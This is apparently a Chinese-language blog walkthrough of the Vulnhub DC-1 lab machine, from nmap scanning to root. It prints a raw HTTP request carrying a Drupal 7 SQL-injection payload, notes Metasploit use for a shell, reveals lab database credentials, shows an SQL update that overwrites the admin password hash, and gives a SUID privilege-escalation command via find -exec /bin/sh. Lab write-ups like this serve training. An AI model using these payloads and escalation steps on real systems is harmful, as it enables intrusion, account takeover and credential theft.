【Vulnhub】DC-1靶機

 

一、信息收集

  1.1 環境

    kali : 192.168.124.141 

    DC-1 : 192.168.124.150 

  1.2 nmap進行掃描 :nmap -sV 192.168.124.150

IP : 192.168.124.150
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
111/tcp open  rpcbind 2-4 (RPC #100000)
MAC Address: 00:0C:29:17:19:2E (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

  發現有22端口 ,先拿hydra爆破發現也沒爆破出來 。

  登錄web頁面 看看有沒有有用,發現web指紋。

 

   搜索了一下發現Drupal 7.0是存在SQL注入漏洞的,利用burpsuite抓包發到repeater模塊,經過證實是可以使用user(),database()等內置函數的,但是後續進行爆表爆字段發現注入失敗,一直在報錯。

POST /node?destination=node HTTP/1.1
Host: 192.168.124.150
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Origin: http://192.168.124.150
Connection: keep-alive
Referer: http://192.168.124.150/
Cookie: has_js=1
Upgrade-Insecure-Requests: 1

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

 

 上面手注無果,不過已經是知道有SQL注入漏洞了,看前輩文章提示發現可以利用Metasploit。

kali利用msf過程:

 

 選擇這個存在SQL注入的攻擊模塊

 

 run執行,之後獲得一個shell環境

之後執行python腳本獲得一個類似於terminal環境的shell

 

當前權限爲www-data ,同時當前目錄下有flag1

 

 

 獲得flag1:Every good CMS needs a config file - and so do you.

根據提示需要看配置文件,但是看web.config後沒發現有用的地方,查看前輩文章,發現需要找類似於settings.php的文件或者config.php的文件,那就進行模糊查找看看。

find -name '*set*.php'

 

 發現應該是 sites/default/settings.php

cat看一下。獲得flag2;獲得MySQL數據庫賬號密碼。

 

 連接數據庫看一下,mysql -u dbuser -p

R0ck3t

進入數據庫,那就脫褲看看 (刺激:) )

 

 就倆庫,應該是drupaldb裏應該有什麼值得鼓搗的東西

發現裏面有個users表,查看一下表裏的內容

 

 應該是web頁面的登陸賬號密碼,但是密碼進行了特殊加密。此時卡住 Orz

看前輩文章得知需要知道drupal加密的方式,將自己進行加密後的密碼放到數據庫裏,或者直接修改已存在的用戶的密碼。

通過查詢發現:

加密方式文件爲: /includes/password.inc

加密文件(可執行)爲: /scripts/password-hash.sh

利用方式:

執行

./password-hash.sh password

即可獲得加密過的password

PS:此處需要提前將includes目錄全部複製到scripts目錄下才可進行加密

進入scripts目錄,執行: cp -r ../includes ./

 

 加密 123     ./password-hash.sh 123

修改admin用戶的密碼爲123:

數據庫中執行

update users

Set pass='$S$Ddw9oMOm2nfFPozoI.HYcdLo6jJIyLQHfmx8shTmNq1m873jzuXr'

where name='admin'; 

修改好後即可用123登錄web界面,瞎點了點發現了flag3

 

 

flag3:

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

此處提示提到了 shadow文件 和exec命令

Shadow肯定是沒權限看了,先看看passwd吧

 

 發現flag4,進入/home/flag4目錄下發現flag4.txt

 

 根據提示,想拿最後flag需要root權限,所以還是需要提權。

根據前輩提示此處需要進行SUID提權 ,結合之前的flag所以應該是結合find命令和-exec     ---Orz

SUID提權原理:如果find本身具有suid的權限,因此通過find執行的命令就是root權限。

 

關於SUID:SUID (Set owner User ID up on execution) 是給予文件的一個特殊類型的文件權限。在 Linux/Unix中,當一個程序運行的時候, 程序將從登錄用戶處繼承權限。SUID被定義爲給予一個用戶臨時的(程序/文件)所有者的權限來運行一個程序/文件。用戶在執行程序/文件/命令的時候,將獲取文件所有者的權限以及所有者的UID和GID。

SUID提權:

 https://www.cnblogs.com/junsec/p/11652723.html

首先執行

 find / -perm -u=s -type f 2>/dev/null  查找suid文件 

命令解釋:

/表示從文件系統的頂部(根)開始並找到每個目錄
-perm 表示搜索隨後的權限
-u = s表示查找root用戶擁有的文件
-type表示我們正在尋找的文件類型
f 表示常規文件,而不是目錄或特殊文件
2表示該進程的第二個文件描述符,即stderr(標準錯誤)
>表示重定向
/ dev / null是一個特殊的文件系統對象,它將丟棄寫入其中的所有內容。

利用find命令進行SUID 提權:

利用方式:find ./ aaa -exec '/bin/sh' \;

 

 已提升到root權限,拿到final flag

 

 總結:

0x01:信息收集,22掃描爆破無果;掃描web指紋發現drupal7存在sql漏洞
0x02:利用metasploit並配合python腳本彈shell
0x03:依據flag1提示,找到setting配置文件獲得mysql數據庫賬號;拿到flag2
0x04:根據前輩提示獲取drupal數據庫加密方式添加/修改 獲得web頁面賬號
0x05:在web頁面拿到flag3 根據提示需要利用find -exec shadow等進行進一步滲透
0x06:查看passwd文件看到flag4用戶,在home/flag4拿到flag4得知必須要提權至root
0x07:根據前輩的文章提示需要利用SUID進行提權,利用find提權之後拿到最終flag

 後續:

由於想了解msf是怎樣建立shell的,特地去重新抓包:(下面純屬小白個人理解,歡迎大佬評論指正)

攻擊流量:

 

通過解碼分析,是通過insert into 插入數據,數據內容爲php代碼,應該是寫入了木馬。

 

 

 

 

 



發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章